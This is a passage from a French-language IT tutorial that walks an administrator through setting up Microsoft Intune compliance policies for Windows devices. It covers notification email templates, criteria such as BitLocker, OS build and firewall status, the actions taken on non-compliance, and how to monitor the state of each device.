<figure class="wp-block-image size-full"><img decoding="async" width="799" height="345" src="media/d0be82ca.Intune-Parametres-de-strategie-de-conformite-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1.jpg" alt="Intune - Paramètres de stratégie de conformité - 1" class="wp-image-72588" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1.jpg 799w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1-550x237.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1-150x65.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1-768x332.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-1-50x22.jpg 50w" sizes="(max-width: 799px) 100vw, 799px" /></figure>



<p>Nous allons configurer ces deux options :</p>



<ul>
<li><strong>Marquer les appareils sans stratégie de conformité comme étant</strong>, et nous allons passer l'option sur "<strong>Non conforme</strong>". Ainsi, nous partons du principe qu'un appareil n'est pas conforme : nous ne faisons pas confiance à l'appareil avant qu'il soit analysé.</li>



<li><strong>Période de validité de l'état de conformité (jours)</strong>, et nous allons indiquer "<strong>30</strong>" ce qui signifie qu'un appareil identifié comme conforme bénéficiera de ce statut pendant 30 jours.</li>
</ul>



<p>Il est à noter que la période de <em>compliance </em>peut être comprise entre 1 et 120 jours.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="332" src="media/54808397.Intune-Parametres-de-strategie-de-conformite-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2.png" alt="Intune - Paramètres de stratégie de conformité - 2" class="wp-image-72587" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2-550x228.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2-150x62.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2-768x319.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Parametres-de-strategie-de-conformite-2-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois les paramètres définis, cliquez sur "<strong>Enregistrer</strong>".</p>



<h2 class="wp-block-heading">IV. Stratégies de conformité : notifications</h2>



<p>La seconde étape consiste à configurer le système de notifications, ce qui permettra notamment de <strong>recevoir un e-mail lorsqu'un appareil non conforme sera détecté.</strong> Toujours sous "<strong>Conformité</strong>", basculez sur l'onglet "<strong>Notifications</strong>" puis cliquez sur "<strong>Créer une notification</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="353" src="media/7060be4d.Intune-Compliance-Notifications-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1.png" alt="Intune - Compliance - Notifications - 1" class="wp-image-72586" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1-550x243.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1-150x66.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1-768x339.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-1-50x22.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Donnez un nom à ce modèle de notification, par exemple "<strong>Notification de base - Compliance</strong>". Ensuite, nous avons plusieurs options de base pour personnaliser l'e-mail, notamment dans le but d<strong>'intégrer des éléments permettant d'identifier votre entreprise </strong>(un logo, par exemple). Cette interface ne permettra pas de choisir un logo ou de configurer les valeurs des autres options.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="412" src="media/7cdba558.Intune-Compliance-Notifications-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2.png" alt="Intune - Compliance - Notifications - 2" class="wp-image-72585" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2-550x283.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2-150x77.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2-768x396.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-2-50x26.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour visualiser les valeurs attribuées à ces options, vous devez accéder aux paramètres de personnalisation du tenant. Suivez la procédure suivante :</p>



<p><strong>1</strong> - Cliquez sur "<strong>Administration de locataire</strong>".</p>



<p><strong>2</strong> - Cliquez sur "<strong>Personnalisation</strong>".</p>



<p><strong>3 </strong>- Cliquez sur "<strong>Modifier</strong>".</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="539" src="media/8119276d.Intune-Compliance-Notifications-3-800x539.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-800x539.png" alt="Intune - Compliance - Notifications - 3" class="wp-image-72584" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-800x539.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-550x371.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-150x101.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-768x517.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-3.png 996w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ensuite, il ne vous reste plus qu'à configurer les différentes options telles que le nom de l'organisation, le logo, etc...</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="752" src="media/3a7df958.Intune-Compliance-Notifications-4.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4.jpg" alt="Intune - Compliance - Notifications - 4" class="wp-image-72583" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4-550x517.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4-150x141.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4-768x722.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-4-50x47.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Quand ce sera fait, retournez dans l'assistant de création d'une notification afin de passer à la seconde étape. Vous devez <strong>choisir la langue, et définir l'objet de l'e-mail</strong> ("<em>Appareil non conforme</em>", par exemple) ainsi que <strong>le corps du message</strong> (certaines balises HTML sont prises en charge). Puisqu'il s'agit du premier modèle de notifications, nous allons le définir par défaut.</p>



<p>Pour personnaliser le message avec des valeurs dynamiques (le nom de l'utilisateur ou de l'appareil, par exemple), vous pouvez utiliser "des variables", comme décrit dans<a href="https://learn.microsoft.com/en-us/mem/intune/protect/actions-for-noncompliance#create-a-notification-message-template?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title=""> cette page</a> de la documentation Microsoft.</p>



<p>Ce qui donne :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="583" height="704" src="media/d972cbf8.Intune-Notification-strategie-de-conformite-Exemple.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Notification-strategie-de-conformite-Exemple.png" alt="" class="wp-image-79568" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Notification-strategie-de-conformite-Exemple.png 583w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Notification-strategie-de-conformite-Exemple-550x664.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Notification-strategie-de-conformite-Exemple-124x150.png 124w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Notification-strategie-de-conformite-Exemple-41x50.png 41w" sizes="(max-width: 583px) 100vw, 583px" /></figure>



<p>Passez à l'étape "<strong>Vérifier + créer</strong>" afin de passer en revue votre paramétrage et cliquez sur "<strong>Créer</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="790" src="media/38e7be9e.Intune-Compliance-Notifications-6.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6.png" alt="Intune - Compliance - Notifications - 6" class="wp-image-72581" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6-550x543.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6-150x148.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6-768x758.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Compliance-Notifications-6-50x50.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, votre modèle de notification est créé !</p>



<h2 class="wp-block-heading">V. Créer une stratégie de conformité Intune</h2>



<p>Nous allons créer une stratégie de conformité pour<strong> définir les critères </strong>que doit respecter un appareil afin d'être considéré comme conforme. Cette fois-ci, basculez sur l'onglet "<strong>Stratégies</strong>" et cliquez sur "<strong>Créer une stratégie</strong>". À cet emplacement, vous avez également accès à l'onglet "<strong>Scripts</strong>" qui permet de créer des scripts PowerShell pour de la "<em>mise en conformité sur-mesure</em>" puisque c'est votre script qui va faire l'évaluation (nous pouvons imaginer un script PowerShell pour vérifier l'espace disque restant sur le volume système).</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="320" src="media/58480281.Intune-Conformite-Creer-une-strategie-800x320.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-800x320.png" alt="" class="wp-image-79564" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-800x320.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-550x220.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-768x307.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Intune-Conformite-Creer-une-strategie.png 1000w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Un panneau latéral apparait sur la droite. Choisissez la plateforme "<strong>Windows 10 et ultérieur</strong>" et poursuivez. Ceci vous donne l'occasion de constater que cette fonctionnalité n'est pas limitée à Windows.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="265" src="media/97fadd15.Intune-Strategie-compliance-Windows-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11.png" alt="Intune - Stratégie compliance Windows 11" class="wp-image-72599" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11-550x182.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11-150x50.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11-768x254.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-compliance-Windows-11-50x17.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Bienvenue dans l'assistant de création d'une stratégie de conformité Intune !</strong></p>



<p>Commencez par donner un nom à cette stratégie et indiquez une description. La description s'avère utile pour donner quelques indications sur le contenu de cette stratégie.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="387" src="media/4c78420f.Intune-Strategie-conformite-Windows-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1.png" alt="" class="wp-image-72598" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1-550x266.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1-768x372.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-1-50x24.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La section "<strong>Conformité personnalisée</strong>" sert à créer vos propres règles contenues dans un fichier JSON généré à partir d'un script PowerShell. Cette méthode est décrite dans la documentation Microsoft, sur <a href="https://learn.microsoft.com/fr-fr/mem/intune/protect/compliance-use-custom-settings?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="561" src="media/c4d72559.Intune-Strategie-conformite-Windows-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2.png" alt="" class="wp-image-72597" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2-550x386.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2-150x105.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2-768x539.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-2-130x90.png 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>Descendez dans la page...</strong> Nous allons pouvoir exiger la vérification de certains éléments en jouant sur les options présentes dans chaque section : Intégrité de l'appareil, Propriétés de l'appareil, etc...</p>



<p>Commencez par la section "<strong>Intégrité de l'appareil</strong>" qui présente l'avantage de permettre de <strong>vérifier la configuration de BitLocker, du démarrage sécurisé et l'intégrité du code sur la machine Windows</strong>. Avant d'activer la vérification BitLocker, il convient de créer une stratégie de configuration de BitLocker.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="314" src="media/941c34b7.Intune-Strategie-conformite-Windows-3.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3.png" alt="" class="wp-image-72596" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3-550x216.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3-150x59.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3-768x301.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-3-50x20.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La section "<strong>Propriétés de l'appareil</strong>" sert à vérifier la version du système d'exploitation Windows. Ainsi, vous pourriez considérer qu'<strong>un appareil qui exécute une version de Windows 10 qui n'est plus sous support, n'est pas conforme</strong>. Pour obtenir les numéros de version, vous pouvez vous référer à la documentation Microsoft, notamment ce lien :</p>



<ul>
<li><a href="https://learn.microsoft.com/fr-fr/windows/release-health/windows11-release-information?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title="">Numéros de version Windows 11</a></li>
</ul>



<p>Par ailleurs, vous pouvez aussi utiliser la commande "<strong>winver</strong>" sur un appareil puisqu'elle retourne un numéro de <em>build</em>. Toutefois, méfiez-vous avec les numéros de version,<strong> vous devez utiliser ce format : 10.0.X.X</strong>. Ainsi, pour la build "<strong>22631.2715</strong>", nous devons préciser la valeur suivante : <strong>10.0.22631.2715</strong>. </p>



<p>Ce numéro de version correspond à Windows 11 23H2 avec les mises à jour de novembre 2023, ce qui signifie que l'on peut <strong>cibler une version majeure et un niveau de mise à jour des machines</strong>. Pour Windows 11 23H2 avec les mises à jour d'avril 2024, la valeur à utiliser est légèrement différente dû à la différence de niveau de mise à jour : <strong>10.0.22631.3447</strong>.</p>



<p>Voici un exemple :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="387" src="media/cec81eb8.Intune-Strategie-conformite-Windows-4.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4.png" alt="" class="wp-image-72595" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4-550x266.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4-768x372.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-4-50x24.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La section "<strong>Conformité de Configuration Manager</strong>" s'adresse aux personnes en co-gestion avec (<em>System Center</em>) Configuration Manager.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="105" src="media/3ee6149c.Intune-Strategie-conformite-Windows-5.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5.png" alt="" class="wp-image-72594" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5-550x72.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5-150x20.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5-768x101.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-5-50x7.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Le volet "<strong>Sécurité système</strong>" s'adresse aux administrateurs qui souhaitent effectuer des vérifications sur la configuration et l'utilisation des mots de passe sur un appareil. À la fin de la section, il y a tout de même des paramètres que nous allons activer pour vérifier l'état du pare-feu, du module TPM, de l'antivirus, et du logiciel anti-espion.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="880" src="media/21aeb89a.Intune-Strategie-conformite-Windows-6.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6.png" alt="" class="wp-image-72593" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6-550x605.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6-136x150.png 136w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6-768x845.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-6-45x50.png 45w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Puis, un peu plus bas, nous allons pouvoir activer certains contrôles liés à Defender :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="331" src="media/4da0925f.Intune-Strategie-conformite-Windows-7.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7.png" alt="" class="wp-image-72592" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7-550x228.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7-150x62.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7-768x318.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-7-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Vous avez aussi un paramètre spécifique à "<strong>Microsoft Defender for Endpoint</strong>" pour vérifier le niveau de risque d'un appareil. C'est très intéressant pour les entreprises équipées avec cette solution sur leur appareil Windows.</p>



<p>Passez à l'étape "<strong>Actions en cas de non conformité</strong>". Ici, nous allons créer plusieurs règles :</p>



<ul>
<li><strong>Marquer l'appareil comme non conforme</strong> immédiatement.</li>



<li><strong>Envoyer un e-mail à l'utilisateur final</strong> (grâce à notre modèle de notifications précédemment créé !) - L'administrateur aura aussi l'e-mail.</li>



<li>Ajouter un appareil à la liste des mises hors service 20 jours après la non-conformité. Ceci est facultatif, mais permet d'ajouter l'appareil à la liste "<strong>Mettre hors service les appareils non conformes</strong>". Lorsqu'un administrateur retire un appareil de cette liste, ceci enclenche la suppression de toutes les données de l'entreprise de l'appareil et le retire de la gestion Intune. <strong>A utiliser avec précaution</strong>.</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="347" src="media/9e9c68c2.Intune-Strategie-conformite-Windows-8.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8.png" alt="" class="wp-image-72591" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8-550x239.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8-768x333.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-8-50x22.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p><strong>Remarque </strong>: pour certains appareils, notamment sous Android, macOS, iOS et iPadOS, il est possible de verrouiller l'appareil à distance s'il n'est pas conforme. Ceci correspond à la fonction Remote Lock.</p>
</blockquote>



<p>Pour finir, l'étape "<strong>Affectations</strong>" que l'on a l'habitude de croiser dans les assistants Intune se présente à l'écran. L'objectif étant d'affecter cette stratégie de conformité à un groupe d'appareils, comme ici le groupe "<strong>PC_Corporate</strong>".</p>



<p>Attention : n'oubliez pas que nous avons activé une option au niveau du tenant pour déclarer non conformes tous les appareils sans stratégie de conformité. S'il s'agit de votre stratégie de conformité de base, vous pouvez l'appliquer directement à tous les appareils.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="452" src="media/07b574d3.Intune-Strategie-conformite-Windows-9.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9.png" alt="" class="wp-image-72590" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9-550x311.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9-150x85.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9-768x434.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-9-50x28.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Révisez votre configuration et cliquez sur le bouton "<strong>Créer</strong>" pour finaliser la création de la stratégie de conformité.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="503" src="media/20e74c4e.Intune-Strategie-conformite-Windows-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10.png" alt="" class="wp-image-72589" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10-550x346.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10-150x94.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10-768x483.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Strategie-conformite-Windows-10-50x31.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Voilà, la stratégie de conformité va être déployée sur les appareils qui rentrent dans le périmètre de l'affectation. </p>



<h2 class="wp-block-heading">VI. Suivre l'état des appareils</h2>



<p>Suite au déploiement de cette stratégie, les appareils sont analysés via la stratégie de conformité et un état s'affiche directement dans la colonne "<strong>Compatibilité</strong>" de la liste des appareils inscrits dans Intune. Ici, nous pouvons voir que l'appareil "PC-ITC-01" n'est pas conforme.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="324" src="media/71038bba.Intune-Etat-conformite-des-appareils-800x324.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-800x324.png" alt="Intune - Etat conformité des appareils" class="wp-image-72602" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-800x324.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-550x223.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-150x61.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-768x312.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Etat-conformite-des-appareils.png 890w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si nous cliquons sur cet appareil, nous pouvons obtenir des précisions. Nous voyons bien qu'il ne respecte pas notre politique.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="318" src="media/66e55905.Intune-Detail-conformite-appareil-Windows-800x318.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-800x318.png" alt="Intune - Détail conformité appareil Windows" class="wp-image-72601" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-800x318.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-550x219.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-768x306.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows-50x20.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/Intune-Detail-conformite-appareil-Windows.png 910w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>En fait, le détail de l'analyse nous montre que le pare-feu de la machine est dans un état "<em>non conforme</em>". En effet, sur cet appareil, le pare-feu Windows est désactivé.</p>



